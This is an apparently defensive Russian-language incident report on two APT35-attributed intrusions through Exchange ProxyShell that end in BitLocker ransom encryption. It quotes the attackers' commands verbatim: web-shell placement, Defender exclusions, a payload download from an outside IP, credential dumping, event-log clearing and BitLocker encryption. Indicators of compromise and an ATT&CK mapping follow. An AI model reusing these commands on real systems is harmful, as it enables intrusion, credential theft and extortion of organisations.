С мая 2022 года мы столкнулись с двумя кейсами, где атакующие используют уязвимость Microsoft Exchange ProxyShell для первоначального доступа и размещения веб-шеллов. Скорее всего, атака связана с группой APT35 (иранская группировка, спонсируемая государством). К такому выводу мы пришли, проанализировав тактики и техники, приписываемые группе. Также некоторые обнаруженные индикаторы схожи с теми, что атрибутированы группе. Но обо всем по порядку. С чего все началось Чего обычно хотят группировки, действующие в интересах какого-то государства? Их типичные цели - это шпионаж и кража ценных данных. Однако наши кейсы - исключение из правил. Атаке подвергались коммерческие компании, которые в обычных условиях не попали бы в поле зрения таких группировок. Их конечная цель сместилась на получение финансовой выгоды путем шифрования инфраструктуры атакованной компании и требования выкупа. Вспоминаются небезызвестные Lazarus, которые занимаются масштабным кибершпионажем, но при этом осуществляют атаки на криптовалюты, криптобиржи и используют шифровальщики для получения финансовой выгоды. Возникают интересные вопросы. Являются ли попытки прямой монетизации атаки для таких злоумышленников следствием урезания финансирования? Были ли такие действия санкционированы? Пойдут ли по такому же пути иные группировки? Скорее всего, время покажет. Но вернемся к атаке. Интересен способ отправки требования выкупа. Для этого использовалась обычная печать на принтере. Пример такого письма: Получив такие письма, жертвы обратились к нам, и к исследованию подключились специалисты Solar JSOC CERT. Ниже описаны тактики, техники и инструменты, использованные в атаках. Данные нам удалось получить в результате исследования образов систем. Первоначальный доступ Как упоминалось ранее, для атаки была задействована уязвимость ProxyShell. Для подтверждения использования уязвимости можно обратиться к журналу MSExchange Management и журналам из каталога W3SVC1 (для дополнительного подтверждения можно посмотреть и другие журналы). Для первоначального размещения веб-шеллов с использованием уязвимости ProxyShell применялись команды: New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "<REDACTED>@<REDACTED>" – присвоение корректной роли учетной записи для возможности импорта и экспорта почтового ящика; New-MailboxExportRequest -Mailbox "<REDACTED>@<REDACTED>" -FilePath "\\localhost\E$\ExchangeServer\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_qdiaxtuajjd'" – команда для экспорта почтового ящика с темой «aspx_qdiaxtuajjd» в файл с расширением aspx. В указанном примере можно обратить внимание на использование нестандартного раздела (не C:\) для установленной версии Exchange; Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "26893b0c-dfc1-4776-83d0-e489e3506b32" – команда на удаление запроса выше. Загруженный веб-шелл имеет функции загрузки и выгрузки файлов, а также запуска определённых исполняемых файлов. Например, может выполнять команды через оболочку powershell. Расположение и наименования первоначального веб-шелла: \\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_scyieqfkxna.aspx \\localhost\E$\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx \\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_pdydmpramaj.aspx Можно отметить, что атакующие корректно определяют раздел, на который установлено ПО Microsoft Exchange, что необходимо для эксплуатации размещенных веб-шеллов. Обратите внимание, что наименование веб-шеллов, размещенных с использованием ProxyShell, имеет повторяющийся паттерн: константа «aspx_», после чего идет 12 случайных символов латинского алфавита и расширение «.aspx». Пример кода веб-шелла: Что интересно, после размещения такого многофункционального веб-шелла, осуществляется размещение меньших веб-шеллов: Расположения, в которых последние размещались: C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx E:\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\login.aspx C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx.req C:\inetpub\wwwroot\aspnet_client\system_web\info.aspx.req Последовательность действий после осуществления первоначального доступа: Создается исключение из проверок для Microsoft Defender для каталога C:\Windows: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows После проникновения осуществляется последовательное размещение трех исполняемых файлов, их запуск, и выполнение некоторых команд. Размещенные файлы: C:\windows\temp\user.exe C:\windows\temp\task_update.exe C:\Windows\dllhost.exe Описание действий, осуществляемых исполняемыми файлами приведено далее. Осуществляется разведка C:\windows\system32\query.exe C:\windows\system32\quser.exe Добавляется правило для FW: FW rule added to exception list | *: * | : Terminal Server | LocalPorts:3389 | RemotePorts:* Запускается TermService Изменяется значение ключа UseLogonCredential по пути к ветке реестра Control\SecurityProviders\WDigest, которому присвоено значение «1», что позволяет хранить пароли в открытом виде в памяти. В обоих случаях имеются следы дампа процесса lsass. В первом случае имеются следы обращения к файлу C:\Users\DefaultAccount\AppData\Local\Temp\lsass.zip с использованием созданной учетной записи DefaultAccount. При этом указанные следы имеются уже после первоначальных следов доступа. За 30 секунд до создания дампа имелись следы запуска менеджера задач (taskmgr.exe), с использованием которого можно создать дамп процесса, который будет сохранен по умолчанию в каталог, в котором находился файл «lsass.zip». Во втором случае имеется файл С:\Windows\Temp\ssasl.pmd, который архивирован в \Windows\Temp\ssasl.zip. Можно заметить, что имя файла «ssasl.pmd» представляет собой зеркальную запись от «lsass.dmp». Указанные следы имеются сразу после первоначального доступа. Можно обратить внимание, что все вышеперечисленные действия, начиная с эксплуатации ProxyShell до размещения ВПО и его закрепления, осуществляются менее чем за 10 минут и имеют видимый повторяющийся паттерн. Таким образом, можно предположить, что все они осуществляются автоматически. Анализ ВПО Файл «user.exe». Предназначен для создания учетной записи DefaultAccount c паролем «P@ssw0rd1234», добавления учетной записи в группе локальных администраторов (окончательный список групп: Administrators, Remote Desktop Users, Distributed COM Users, System Managed Accounts Group), разрешения RDP-доступа к указанной УЗ. Файл «task_update.exe». При запуске выполняет следующие действия: schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet' schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet' try { Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {} powershell /c {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri 'http://172.245.26.118/aaa' -OutFile $file} certutil -addstore -f root C:\Windows\Temp\cert.cer Таким образом, файл создает и запускает задачу Wininet, добавляет каталог «C:\Windows» в исключения для Microsoft Defender, загружает файл «c:\windows\dllhost.exe» и добавляет самоподписанный сертификат в корневые с использованием certutil из файла C:\Windows\Temp\cert.cer. На одном из хостов обнаружен такой сертификат: При этом на исследованных хостах имеются 2 задачи, одна из которых предположительно создается через веб-шелл: \Microsoft\Windows\Maintenance\Wininet \'\Microsoft\Windows\Maintenance\Wininet' Данные командного файла «Wininet.bat»: Как видно, командный файл просто запускает исполнение программы «dllhost.exe» в бесконечном цикле. Файл «dllhost.exe» является измененной программой реверс-прокси FRPC, собранной из проекта https://github.com/fatedier/frp. Программа написана на языке Go. Ей может быть отдан параметр IP-адреса, к которому осуществляется подключение. Также установлено, что в программе имеются следующие домены: kcp53.tcp443[.]org tcp443.tcp443[.]org kcp53.msupdate[.]us tcp443.msupdate[.]us После запуска выполняются команды: powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders" cmd /c "wmic computersystem get domain" 5. Файл C:\Users\kdadmin\Desktop\New folder\install-proxy.bat, данные: Командный файл выполняет следующие действия: Добавляет каталог «C:\ProgramData» в исключения для Microsoft Defender, создает каталог C:\ProgramData\Microsoft\Windows\DllHost, копирует в него файл dllhost.exe, создает другой командный файл C:\ProgramData\Microsoft\CacheTask.bat. Сохраняет сертификат, хранящийся в теле командного файла в файл С:\Windows\Temp\cert.cer и устанавливает его в качестве корневого. Можно отметить, что сертификат совпадает с тем, который описан ранее (файлы сертификата и командного найдены на разных хостах). Далее создает и запускает задачу "\Microsoft\Windows\Maintenance\CacheTask", после чего удаляет файл «CacheTask.xml» и самого себя. Можно отметить, что функционал задачи CacheTask полностью аналогичен задаче Wininet – запуск программы-прокси «dllhost.exe» с использованием командного файла «CacheTask.bat» (предположительно аналогичен «Wininet.bat»). Исследование атаки. Продолжение Дальнейшее развитие атаки осуществлялось с использованием созданной учетной записи DefaultAccount, в результате подключения по RDP. При этом в большинстве случаев в событиях создания сессии RDP из журналов ОС содержали внешние IP-адреса атакованных систем или 127.0.0.1, предположительно из-за использования программы-прокси dllhost.exe. Однако в одном из кейсов имеется событие eventid 131 (RDP server accepted a new TCP connection) в котором числится IP-адрес, 86.57.3.147, предположительно принадлежащий атакующим. А согласно данным из открытых источников, указанный адрес принадлежит сети AS 43754 (Asiatech Data Transmission company), которая находится как раз в Иране. После получения учетных записей (после включения хранения паролей в памяти в открытом виде и дампа процесса lsass) осуществляется перемещение на другие хосты компании, также с активным использованием RDP. Также на различных хостах можно отметить следующие следы: Использование программы SoftPerfectNetworkScanner. C:\Users\DefaultAccount\Desktop\netscanold.zip – архив, в котором находится исполняемый «netscanold.exe», который является программой SoftPerfectNetworkScanner. Также в архиве находится файл конфигурации «netscanold.xml». Результат сканирования помещался в файл C:\Users\DefaultAccount\Desktop\scan.xml. Файлы C:\Windows\System32\ewBnYdgI.tmp и C:\Windows\System32\nXGpPHzT.tmp – дампы реестров SAM и Security. Интересные запуски команд для получения данных УЗ и аудита домена: .\secretsdump.exe <username>:<password>@<IP address> >hash.txt. Следы запуска скомпилированной версии программы https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py, предназначенной для получения дампа хэшей паролей УЗ. .\ADAudit.ps1. Следы запуска скрипта ADAudit.ps1, предположительно взятого из проекта https://github.com/phillips321/adaudit/blob/master/AdAudit.ps1, который позволяет провести быстрый аудит домена. На одном из хостов контроллера домена сохранились команды, которые отдавались в кодированном в base64 виде (команда запуска «powershell.exe -NoP -NoL -NonI -Exec Bypass -Enc»), далее уже декодированные команды: $ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Start-Sleep -s 1800; shutdown /r /f /t 0}. Команда на выключение компьютера через 1800 секунд (30 минут) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe net start schedule; Set-Service -Name eventlog -StartupType auto; net start eventlog; wevtutil cl 'Security'; wevtutil cl 'System'; wevtutil cl 'Windows PowerShell'; wevtutil cl 'Microsoft-Windows-PowerShell/Operational'; wevtutil cl 'Microsoft-Windows-TerminalServices-LocalSessionManager/Admin'; wevtutil cl 'Microsoft-Windows-BitLocker/BitLocker Management'. Команда на удаление различных журналов ОС Windows. $ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Set-Service -Name eventlog -StartupType disabled; net stop eventlog /y; takeown /F C:\Windows\System32\fvenotify.exe; icacls C:\Windows\System32\fvenotify.exe /deny EVERYONE:F}. Команда – остановка журналирования ОС, получение прав на fvenotify.exe (исполняемый BitLocker) и запрет для всех пользователей C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe if (Get-Command Get-ClusterSharedVolume -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterSharedVolume) { Suspend-ClusterResource $Cluster -Force; $PlainPassword='66f69e-<REDACTED>; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force; enable-bitlocker $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly;} }. Команда для запуска шифрования. Обратите внимание на использование пароля в открытом виде. Выводы Учитывая изложенные выше данные и основываясь на том, что сразу после успешного размещения веб-шеллов осуществляется размещение различных исполняемых файлов, можно предположить, что группа разработала какой-то автоматизированный инструментарий для поиска уязвимых серверов и проведения атак на них. После получения первоначального доступа осуществляется доступ по протоколу RDP, компрометация иных учетных записей, в далее - горизонтальное перемещение по локальной сети организации и компрометация домена. После этого осуществляется шифрование с использованием BitLocker и оставляется сообщение с требованиями вымогателей. Интересна скорость развития атаки. В одном случае буквально на следующий день после получения первоначального доступа произошла компрометация домена и была выполнена попытка шифрования с использованием BitLocker. В другом - развитие атаки было более медленным и заняло 11 дней. Если учесть, что у хакеров есть автоматизированный инструментарий, можно ожидать продолжение атак на различные сети организаций в России. Индикаторы компрометации (IoC) Файловые индикаторы Имя MD5 SHA1 SHA256 Описание aspx_qdiaxtuajjd.aspx 79dc1761e54baabbbb8d2938c1ebdb42 2d11db1bd96d649afec7f3cff49c291a512578d9 146cbe779d8d88f7aaa3d8b2c7c3ca28d8f62d1e1f1a62db76c1ccbcb34453cb Веб-шелл aspx_scyieqfkxna.aspx c7b65c9658058ff9c7017b2af503f9e2 493b2e041d6b7411fc25632727149aee8542a586 4d632d0aeb885d53dff495f06af232ba7754d74263e7a284a34edd590ec7bb2c Веб-шелл aspx_pdydmpramaj.aspx 618050829a8e744b8873e43da8a4e3c1 5f7cbfe775699638458991564b444415e3c8785c 8ef98860d912997a89bf9da097be86ec97895e16c97f6eb44c71ef51b28a2663 Веб-шелл login.aspx b51ab1b5af0e021a13f99d707c2f09fd 1dc582e071a6c484c64bab6af62d72fafc868593 ec7f9544c6c757e22bb7f496587334d84914896c2550420a05e96c86e5cafcaf Дополнительный веб-шелл default.aspx 1d513c7e5d4c0b319bf94a7f6384bba6 c48e82062fa0b711557976f1fb28a8bcb2886c80 8e1437356c933c806fd38b3784f502da7226d598ce015436f80e31fb68185153 Дополнительный веб-шелл default.aspx.req 0f7bc1eabdc6ab9e45eb65de7077f829 ca513db841ce6bf0cb098fffbaaf79791299c63c 19aebcc4b36103b95bc8736edf6fec0930f1b5f7b9829167ba1b966befae7df8 Дополнительный веб-шелл info.aspx.req 78502913d70b5170f8cac7fba2b1142d de9eac9bb463855ab83a2bac8d26c0e1a8f55521 d28c5788b5f43c41f137ae023f48c3e5d4f72dea7cd16de195ae247da3b9505d Дополнительный веб-шелл dllhost.exe d55fa23a67fa7ce17b237e1b55274ac5 ce908b5651c7456edd71ed9e0d29dca575bd20e5 f0fb2a5161e8fe786567114d745687d225b80a532ff9313c40fa49bf6002c686 Программа-прокси, измененная FRPC dllhost.exe 43d6ebb2162e02dde008d6e4ccc1332d b7a53f52484a32b2dd6023f570f8644edb0f576f e4901d9a00d550ff2c6e24496e20e769f2ce253a191d6c5492312f1b5053cd64 Программа-прокси, измененная FRPC wininet.bat 5f098b55f94f5a448ca28904a57c0e58 27102b416ef5df186bd8b35190c2a4cc4e2fbf37 668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0 Командный для запуска dllhost.exe install-proxy.bat 0fd744b6832c57a2490819764805dfe9 2523c1e8cf2a15cd265847e5265766d3ffa0ab1d 3d2a2d6ef842ed3246c4f14d352b99b0269e1ffdbc965c13a2382c82bda90b14 Командный для закрепления программы-прокси task_update.exe 0bbb57cacc082306d78dbe1b95b2b9b7 b6fa7273f7d0255e31542c7782df6a136f49fd5d 3d13af2f01cbae96b326a40c5e0399adbb332ab803ba8fc4c27763b5eae26f73 Программа для загрузки и закрепления программы-прокси user.exe 90ea3af8f0ded9fa6faee010136267c8 b3e051de5210258eb87b0ed7f0c137a240fc76d4 600b927e511d53b7c7c5f4527b6757f1337aff741724aabc429ded097d01f412 Программа для создания УЗ DefaultAccount cert.cer 0ce5a40d8f50c0435e38b88bf6b0a92d 6970700bc5e0df88e107034bcdad0449c134da08 f85b88a89e7ccef6cd71c4bece78562fe10955663227c5d836408c172efbd99a Сертификат, использованный в атаке wininet.xml d2f4647a3749d30a35d5a8faff41765e 0f676bc786db3c44cac4d2d22070fb514b4cb64c 559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e Используется для создания задачи WinInet Сетевые индикаторы: · kcp53.tcp443[.]org · tcp443.tcp443[.]org · kcp53.msupdate[.]us · tcp443.msupdate[.]us · kcp53[.]mssync[.]one · tcp443[.]mssync[.]one · 86.57.3[.]147 · 91.203.74[.]214 · 104.21.23[.]5 · 172.245.26[.]118 · 94.232.46[.]57 · 201.116.118[.]22 Тактики техники и процедуры Тактика Техника Описание Initial Access Exploit Public-Facing Application – T1190 Первоначальный доступ через уязвимость Microsoft Exchange Execution Windows Command Shell – T1059 Исполнение через оболочку командной строки, оболочку powershell Persistence Create Account: Local Account– T1136.001 Создание и добавление УЗ DefaultAccount Web Shell – T1505.003 Размещение веб-шеллов через ProxyShell Scheduled Task/Job: Scheduled Task T1053.005 Создание и исполнение задачи для запуска dllhost.exe Privilege Escalation Valid Accounts – T1078 Использование существующих привилегированных доменных УЗ Defense Evasion Match Legitimate Name or Location – T1036.005 Использование наименования «dllhost.exe» для маскировки под легитимный файл Impair Defenses: Disable or Modify Tools -T1562.001 Добавление исключений для Microsoft Defender Impair Defenses: Disable Windows Event Logging - T1562.002 Остановка журналов ОС Windows Indicator Removal on Host: Clear Windows Event Logs - T1070.001 Очистка журналов ОС Windows Credential Access OS Credential Dumping – T1003 Дамп процесса lsass. Дампы реестра SAM, Security Discovery System Information Discovery – T1082 Разведка с использованием dllhost.exe, следы использования quser.exe, query.exe Network Service Discovery – T1046 Использование программы Softperfect Network Scanner Lateral Movement Remote Services: Remote Desktop Protocol T1021.001 Для перемещения по локальной сети использовался RDP Collection Archive Collected Data T1560 Архивирование дампа lsass Command and Control Ingress Tool Transfer – T1105 Загрузка dllhost.exe с использованием Invoke-WebRequest Proxy T1090 Использовалась измененная программа-прокси FRPC Impact Data Encrypted for Impact -T1486 Шифрование с использованием BitLocker System Shutdown/Reboot - T1529 Перезагрузка систем Cop¥: https://habr.com/ru/company/solarsecurity/blog/707910/